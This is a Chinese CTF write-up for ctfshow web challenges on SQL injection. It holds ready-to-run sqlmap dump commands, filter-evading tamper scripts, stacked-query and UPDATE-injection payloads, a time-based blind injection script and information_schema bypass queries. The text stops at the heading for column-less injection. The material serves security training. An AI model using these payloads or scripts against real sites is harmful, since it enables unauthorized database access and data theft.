然后我发现了一个前几道题都能用的方法

方法一:show tables

利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

1
2
username=0;show tables
password=ctfshow_user

方法二:列名互换

本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。

1
0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;

这里的话是实现了一个列名互换,将username和pass互换,然后因为我们已知默认用户名为userAUTO,所以我们可以用这个作为我们的password去登录,这样就可以登录成功了

(这个方法我没打通,不知道是不是应该爆破我们的username,用0并不能匹配我们的用户名)

web200

image-20241214112001228

多过滤了个逗号,但不影响我们上一题的做法

练习sqlmap

web201

#设置UA头和referer头

image-20241214112743785

这里的话是需要我们学习sqlmap 的语法和使用

1
2
3
4
使用--user-agent 指定agent
--user-agent=sqlmap
使用--referer 绕过referer检查
--referer="ctf.show"

我们先拿第一题来具体学习一下注入过程和sqlmap的使用顺序

注入过程

  • 判断是否存在sql注入漏洞

python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php

然后我们来分析一下测试过程的一些询问和内容

image-20250112233312524

我们分析里面主要的内容

1
2
3
4
5
6
7
8
[23:23:58] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
GET 参数 'id' 被判断为可注入,且具体注入方式为基于布尔值的盲注。
[23:23:58] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
扩展的启发式测试表明,后端数据库管理系统(DBMS)可能是 MySQL。
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
似乎后端数据库管理系统是 MySQL。您是否希望跳过适用于其他数据库管理系统的测试有效载荷?输入 [Y/n] 表示选择是或否。选择 'y' 表示跳过。
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
对于剩余的测试,您是否希望包括所有针对 MySQL 的测试,并扩展预设的等级(1)和风险(1)值?输入 [Y/n] 表示选择是或否。选择 'y' 表示包含所有测试。

image-20250112235302885

1
2
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
GET 参数 'id' 存在漏洞。您是否希望继续测试其他参数(如果有的话)?输入 [y/N] 表示选择是或否。选择 'y' 意味着继续进行其他参数的测试。

这里的话其实就是和英语翻译是一样的,理解了每句话的意思然后做出需要的选择,就可以了

  • 获取所有数据库名字

python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 –dbs –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php

image-20250112235658378

找到数据库名了,显然第一个就是我们需要的数据库

  • 获取当前数据库名

python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 –current-db –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php

image-20250112235847883

和我们想的是一样的

  • 获取数据库下的数据表

python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 -D ctfshow_web –tables –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php

image-20250113000020342

  • 获取表下的列名

python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 -D ctfshow_web -T ctfshow_user –columns –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php

image-20250113000113447

  • 导出数据

python3 sqlmap.py -u http://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show/api/?id=1 -D ctfshow_web -T ctfshow_user -C pass –dump –user-agent sqlmap –referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php

image-20250113000247615

然后就拿到我们的flag了

sqlmap基于GET传参的注入

1.测试注入点以及是否存在注入

python3 sqlmap.py -u [url+参数]

2.爆出所有数据库

pyhton3 sqlmap.py -u [url+参数] –dbs

3.爆出当前使用的数据库

python3 sqlmap.py -u [url+参数] –current-db

4.爆出当前数据库下的表名

python3 sqlmap.py -u [url+参数] -D [数据库名] –tables

5.爆出所有表的字段名

python3 sqlmap.py -u [url+参数] -D [数据库名] -T [表名] –columns

6.爆出字段中的数据

python3 sqlmap.py -u [url+参数] -D [数据库名] -T [表名] -C [字段名] –dump

关于UA头的设置和referer的设置

–user-agent sqlmap

  • User-Agent 头通常由浏览器或其他客户端软件发送,用于标识请求的来源设备和软件,通过设置 --user-agent,可以模拟特定的浏览器或客户端类型,某些网站可能会阻止来自已知爬虫或自动化工具(如 sqlmap)的请求。通过伪造 User-Agent,可以绕过这些安全检查

–referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php

  • 伪造 Referer 头可以用于模拟来自特定页面或来源的请求,一些网站可能会检查 Referer 头,以确保请求来源于允许的页面。如果没有合适的 Referer,网站可能会拒绝请求或返回不同的内容。伪造 Referer 头可以帮助绕过这些安全机制。通过设置特定的 Referer 头,攻击者可以让目标网站认为请求是来自合法用户的正常操作。这有助于隐藏攻击行为。
1
--user-agent sqlmap --referer ctf.show这样也是可以的,只要来源是ctf.show就可以了

web202

#–data参数

image-20250113002031251

POST注入的方式

​ sqlmap.py -r 请求包text文件 -p 指定的参数 –tables
​ sqlmap.py -u url –forms 自动判断注入
​ sqlmap.py -u url –data=”指定参数”

–data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。

直接给payload了

1
python3 sqlmap.py -u http://fd2e4296-abd1-4a84-b9c1-c24262dea2a6.challenge.ctf.show/api/ --data="id=1" --user-agent sqlmap --referer ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump

web203

#–method参数

image-20250113105708883

–method=”xxx” 强制使用给定的HTTP方法(例如:PUT)

使用–method=”PUT”时,需要加上 –headers=”Content-Type: text/plain” 否则是按表单提交的,put接收不到

payload

1
python3 sqlmap.py -u http://86ffe7af-f118-4848-8a4c-09b410298b56.challenge.ctf.show:8080/api/index.php --method="put" --user-agent sqlmap --referer ctf.show --headers="Content-Type: text/plain" --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump

web204

#–cookie参数

image-20250113114452584

设置cookie可以通过后台对cookie的验证

image-20250113132653389sqlmap.php文件中响应标头中的set-cookie和请求标头中的PHPSESSID都需要客户端在下一次请求时发送给服务端

payload

1
python3 sqlmap.py -u http://62ab32f3-d46b-4b44-a4b8-fea51589800d.challenge.ctf.show/api/index.php --method="put" --data="id=1" --user-agent sqlmap --referer ctf.show -headers="content-type:text/plain" --cookie="PHPSESSID=je3ssbqgn68psi3q1qa6fjcmbc;ctfshow=cc417a7da6909d583d4e0846fd9d4c5f" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump

sqlmap 将使用这个 Cookie 进行请求。

web205

#–safe安全设置

image-20250113133845367

抓包发现在请求index.php之前还会请求一次getToken.php

image-20250113135156243

所以我们–safe-url 参数设置在测试目标地址前访问的安全链接,将 url 设置为 api/getToken.php,再加上 –safe-preq=1 表示访问 api/getToken.php 一次

1
2
3
4
5
6
7
--safe-url=SAFEURL  提供一个安全不错误的连接,每隔一段时间都会去访问一下

--safe-post=SAFE.. 提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。

--safe-req=SAFER.. 从文件中加载安全HTTP请求

--safe-freq=SAFE.. 测试一个给定安全网址的两个访问请求

--safe-url=SAFEURL 参数用于指定一个安全的 URL

主要功能

  1. 安全性:通过指定一个安全 URL,用户可以确保在测试期间,sqlmap 不会对敏感或关键的生产环境数据进行操作。
  2. 蜜罐检测:如果 sqlmap 发现某个请求被认为是危险的,它会将该请求重定向到用户指定的安全 URL,而不是执行原来的操作。这有助于减少对目标系统的风险。
  3. 调试和验证:在进行渗透测试时,使用安全 URL 可以帮助测试人员验证他们的请求是否正常工作,而不会对目标系统造成影响。

--safe-freq=SAFE 是 sqlmap 中的一个参数,用于设置安全请求的频率限制。这个参数主要用于控制 sqlmap 在执行 SQL 注入测试时发送请求的速率

主要功能

  1. 频率控制:通过设置请求的频率,用户可以控制 sqlmap 每秒发送的请求数量。这有助于在进行渗透测试时,减少对目标服务的压力。
  2. 规避检测:调低请求频率可以帮助测试者更好地规避目标网站的安全检测机制,降低被识别为攻击行为的风险。
  3. 保护目标:对目标系统友好的测试可以减少对系统性能的影响,特别是在生产环境中进行渗透测试时,确保不会干扰正常用户的使用。

payload

1
python3 sqlmap.py -u http://4d06d46a-4e6e-43ab-8bd6-94e5b084dc4e.challenge.ctf.show/api/index.php --user-agent sqlmap --referer ctf.show --method="put" --data="id=1" --headers="content-type:text/plain" --cookie="PHPSESSID=000al1ev682ccon2rn8sqvrr5o;" --safe-url="http://4d06d46a-4e6e-43ab-8bd6-94e5b084dc4e.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump

web206

#注入payload闭合

image-20250113142940609

这里看到sql语句发生了变化,出现了括号,不过sqlmap能自动进行闭合操作

那payload 是不变的

1
python3 sqlmap.py -u https://16e2dbc5-b097-4a75-b4ed-def916f5ee74.challenge.ctf.show/api/index.php --user-agent sqlmap --referer ctf.show --method="put" --data="id=1" --headers="content-type:text/plain" --cookie="PHPSESSID=000al1ev682ccon2rn8sqvrr5o;" --safe-url="http://16e2dbc5-b097-4a75-b4ed-def916f5ee74.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump

需要设置参数的话可以设置参数

1
2
--prefix=PREFIX     注入payload字符串前缀
--suffix=SUFFIX 注入payload字符串后缀

web207

#space2comment.py绕过空格

image-20250113210335223

tamper的话就是sqlmap自带的绕过脚本,在sqlmap目录下的tamper文件夹中

image-20250113210907918

可以使用--identify-waf对一些网站是否有安全防护进行试探,那我们返回来看题目,题目中是过滤了空格的,那我们看看那个脚本可以绕过空格绕过

space2comment.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/"
continue
retVal += payload[i]
return retVal

该脚本的主要作用是将 SQL 查询中的空格替换为 SQL 注释

这里可以看到会用/**/去替代我们的空格

那我们就用这个去打就能绕过空格了

1
python3 sqlmap.py -u http://f45fe3ae-198d-4337-8a19-45f71cf671b2.challenge.ctf.show/api/index.php --method="PUT" --user-agent sqlmap --referer ctf.show --data="id=1" --cookie="PHPSESSID=kn1ntutpaei8875ksr0vfqk0i1;" --headers="Content-Type:text/plain" --safe-url=http://f45fe3ae-198d-4337-8a19-45f71cf671b2.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=space2comment.py

常用的tamper脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
base64encode.py:对 payload 进行 Base64 编码。可以帮助绕过某些过滤器。

randomcase.py:将 SQL 注入 payload 中的字母随机大小写混合,有助于绕过一些简单的大小写敏感过滤。

space2comment.py:将空格替换为 SQL 注释符号(如 /**/),可用于绕过某些基于空格的过滤。

between.py:将 = 替换为 BETWEEN,在某些情况下可以绕过过滤。

time2sleep.py:使用 SLEEP 函数替代时间延迟的方式。这可以在时间盲注中有效。

unionalltoupdate.py:将 UNION ALL 替换为 UPDATE,有时可以避开某些检测。

modsecurityversioned.py:用于与 ModSecurity 一起工作,向请求中添加特定的版本信息。

concat.py:将 SQL 查询中的字符串拼接符 || 转换为 + 或 .,以适应不同数据库的语法。

char2hex.py:将字符转换为十六进制表示形式,有助于绕过某些字符过滤。

web208

#randomcase.py绕过关键字

image-20250113212509411

这里对select和空格都进行了过滤,那就还得用别的脚本了,这里我们用randomcase.py

randomcase.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.common import randomRange
from lib.core.compat import xrange
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
* SQLite 3
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
* This tamper script should work against all (?) databases
>>> import random
>>> random.seed(0)
>>> tamper('INSERT')
'InSeRt'
>>> tamper('f()')
'f()'
>>> tamper('function()')
'FuNcTiOn()'
>>> tamper('SELECT id FROM `user`')
'SeLeCt id FrOm `user`'
"""
retVal = payload
if payload:
for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal):
word = match.group()
if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload:
while True:
_ = ""
for i in xrange(len(word)):
_ += word[i].upper() if randomRange(0, 1) else word[i].lower()
if len(_) > 1 and _ not in (_.lower(), _.upper()):
break
retVal = retVal.replace(word, _)
return retVal

该脚本的作用是将 SQL 注入 payload 中的字母随机大小写混合,有助于绕过一些简单的大小写敏感过滤。

payload

1
python3 sqlmap.py -u http://de1a8bb8-85b2-42dc-89f8-8e2290303ac7.challenge.ctf.show/api/index.php --method="PUT" --user-agent sqlmap --referer ctf.show --data="id=1" --cookie="PHPSESSID=h4dcnkdl0hd2on1l3p6gnhlefb;" --headers="Content-Type:text/plain" --safe-url=https://de1a8bb8-85b2-42dc-89f8-8e2290303ac7.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=space2comment.py,randomcase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump

web209

#修改space2comment.py

image-20250113213632537

好像过滤更多字符了,*号也被过滤了,那我们的space2comment.py脚本用不了了,但是我们可以自己写个tamper脚本,把原先的space2comment.py里面的替换字符串换成可以绕过空格验证的,然后再加上绕过=等于号的条件就可以了

修改后的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == '=':
retVal += chr(0x0a)+'like'+chr(0x0a)
continue

elif payload[i] == '*':
retVal += chr(0x0a)
continue

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue

retVal += payload[i]

return retVal

payload

1
python3 sqlmap.py -u http://fa365078-0c4d-4ca2-afcf-54f5e757760c.challenge.ctf.show/api/index.php --method="PUT" --user-agent sqlmap --referer ctf.show --data="id=1" --cookie="PHPSESSID=kn1ntutpaei8875ksr0vfqk0i1;" --headers="Content-Type:text/plain" --safe-url=http://fa365078-0c4d-4ca2-afcf-54f5e757760c.challenge.ctf.show/api/getToken.php --safe-freq=1 --tamper=tamper/web209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump

update

先来简单介绍一下update的一些前置知识点(详细内容移步深入浅出sql篇)

UPDATE 语句用于更新表中已存在的记录。

update语句

1
2
3
UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;

参数说明:

  • table_name:要修改的表名称。
  • **column1, column2, …**:要修改的字段名称,可以为多个字段。
  • **value1, value2, …**:要修改的值,可以为多个值。
  • condition:修改条件,用于指定哪些数据要修改。

WHERE 子句规定哪条记录或者哪些记录需要更新。如果您省略了 WHERE 子句,所有的记录都将被更新

web231

#无过滤的update注入

image-20250114152226426

payload

1.闭合单引号

1
2
//查库名、闭合引号
password=1',username=database();#&username=1

把前面的单引号闭合,又把后面的单引号注释掉,通过username去进行注入,尝试得到数据库名

注意这里的url是去掉update.php加上api的地址

image-20250114153223053

1
password=1',username=(select group_concat(table_name)from information_schema.tables where table_schema=database());#&username=1 //查询表名

image-20250114153313725

1
password=1',username=(select group_concat(column_name)from information_schema.columns where table_name='flaga');#&username=1 //查询列名

image-20250114153614489

看到疑似flag的内容了,继续跟进

1
password=1',username=(select flagas from ctfshow_web.flaga);#&username=1

image-20250114153718532

一开始我是直接想对password进行注入的,但是没打出来

1
password=database();#&username=1

后来猜测应该是单引号的问题,单引号把包裹的查询语句当成字符串去处理了,所以里面的查询语句并不会执行

这里还可以用布尔盲注去打,但是注入点还是在username,我就只贴payload了

2.布尔盲注

1
password=1&username=1' or if((ascii(substr((select flagas from flaga),{i},1))='{j}'),true,false);#

web232

#md5处理

image-20250114212022715

无过滤,但是查询语句多了md5处理,我们把md5函数的括号进行闭合然后进行注入就可以了

payload

1
password=1'),username=(select group_concat(table_name)from information_schema.tables where table_schema=database());#&username=111

然后逐步进行注入就可以了

当然用231的盲注也是可以的

web233

#过滤单引号

image-20250114213122021

题目和231写的一样是无过滤,但是231的payload打不通,换了注释符也显示查询失败,猜测是单引号被过滤了,还有一个思路就是转义单引号使得单引号逃逸

1.转义字符逃逸

payload

1
password=\&username=,username=database();#

通过反斜杠将单引号转义,回显是这样的

image-20250115010556885

放到UPDATE语句中就是

1
$sql = "update ctfshow_user set pass = '\' where username = ',username=database();#';";

可以看到,我们pass的前一个单引号并不跟反斜杠后的单引号闭合,而是跟username的前一个单引号进行闭合,然后我们再将后面的单引号注释掉,就可以成功进行update的一个注入,也说明转义字符是可以成功逃逸单引号的

另外,时间盲注也是可以打的,但是我设置的sleep(5)的时候发现容器睡死了,我以为是打不了,后面看wp才知道把sleep设置的短一点就可以了

2.时间盲注

这里直接给payload和脚本了

payload

1
password=1&username=1' or sleep(0.2)#

时间盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
import datetime

def database_name(url):
database_name = ''

for i in range(1,100):
word =False
for j in range(32,128):
data={
"password" : "1",
"username" : f"1' or if(ascii(substr((select flagass233 from ctfshow_web.flag233333),{i},1))='{j}',sleep(0.2),1)#"
}
print(data)
time1 = datetime.datetime.now()
r = requests.post(url,data=data)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 4:
database_name += chr(j)
word =True
print(database_name)
break
if word !=True:
print("未找到更多字符")
break
print(str(database_name))
return database_name
if __name__ == "__main__" :
url = 'http://6374a9fb-429c-4efe-8d67-51a96b7d24fc.challenge.ctf.show/api/'
database = database_name(url)

但是我的username中有单引号但是能打通,猜测这个过滤应该是对于password的一个单引号过滤

web234

#过滤单引号plus

和233不同的是234的username单引号也被过滤了,所以盲注打不通,但是我们可以通过转义字符使单引号逃逸去进行注入

转义字符逃逸

payload

1
password=\&username=,username=(select flagass23s3 from ctfshow_web.flag23a);#

web235

#Bypass information_schema新姿势

#无列名注入

image-20250115220414006

题目这次写明了过滤了or和’单引号,本来以为能拿上一题的payload打的,但是我们的information_shcema中有or,用大小写和双写都绕不过去,后来看到一个做法就是Bypass information_schema+无列名注入

1.Bypass information_schema

sql注入一般都会用到information_schema库,这是mysql自带的库,我们先来了解一下这个库的表有哪些

image-20250115233431427

可以看到这个库中的表很多啊,我们只挑平时比较常见的去进行讲解

information_schema库中的表

TABLES

  • 内容:包含所有数据库中的表的相关信息。
  • 主要字段
    • TABLE_SCHEMA:数据库名
    • TABLE_NAME:表名
    • TABLE_TYPE:表的类型(例如,BASE TABLE 或 VIEW)
    • ENGINE:表使用的存储引擎
    • VERSION:表的版本号
    • ROW_FORMAT:行格式(例如,COMPACT)

COLUMNS

  • 内容:包含有关数据库中所有列的信息。
  • 主要字段
    • TABLE_SCHEMA:数据库名
    • TABLE_NAME:表名
    • COLUMN_NAME:列名
    • ORDINAL_POSITION:列的位置
    • COLUMN_DEFAULT:列的默认值
    • IS_NULLABLE:列是否可以为 NULL
    • DATA_TYPE:列的数据类型

SCHEMATA

  • 内容:包含所有数据库(模式)的信息。
  • 主要字段
    • CATALOG_NAME:目录名
    • SCHEMA_NAME:数据库名
    • DEFAULT_CHARACTER_SET_NAME:默认字符集
    • DEFAULT_COLLATION_NAME:默认排序规则
    • SQL_PATH:SQL 路径

先放这三个,后面学到新的之后再回来补充,接下来我们讲另一个知识点

InnoDb引擎

mysql 5.5.8之后开始使用InnoDb作为默认引擎,mysql 5.6的InnoDb增加了innodb_index_statsinnodb_table_stats两张表,这两张表就是我们bypass information_schema的第一步,也是获取数据库名和表名的另一种思路

这两张表记录了数据库和表的信息,但是没有列名,sql语句就是

1
2
select group_concat(database_name) from mysql.innodb_index_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()

另外还有一个就是sys库

sys库

sys 库是一个提供系统信息和数据库监控的虚拟数据库。它是一个更高级别的视图,旨在简化对 MySQL 服务器性能和配置的查询。sys 库中的表和视图主要用于提供有关服务器状态、性能和其他实用信息的便利视图。

sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。

  • sys.schema_table_statistics

1
2
3
4
5
6
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database();

另外还有一种摘录到的

  • sys.schema_auto_increment_columns

1
2
3
4
#查询数据库名
select table_schema from sys.schema_auto_increment_columns
#查询表名
select table_name from sys.schema_auto_increment_columns where table_schema=databse()

同样的,这个sys库也是能用来查找表名和数据库名的

可以看到上述的innodb引擎和sys库都无法查到我们的列名,所以这时候就需要我们的无列名注入了

2.无列名注入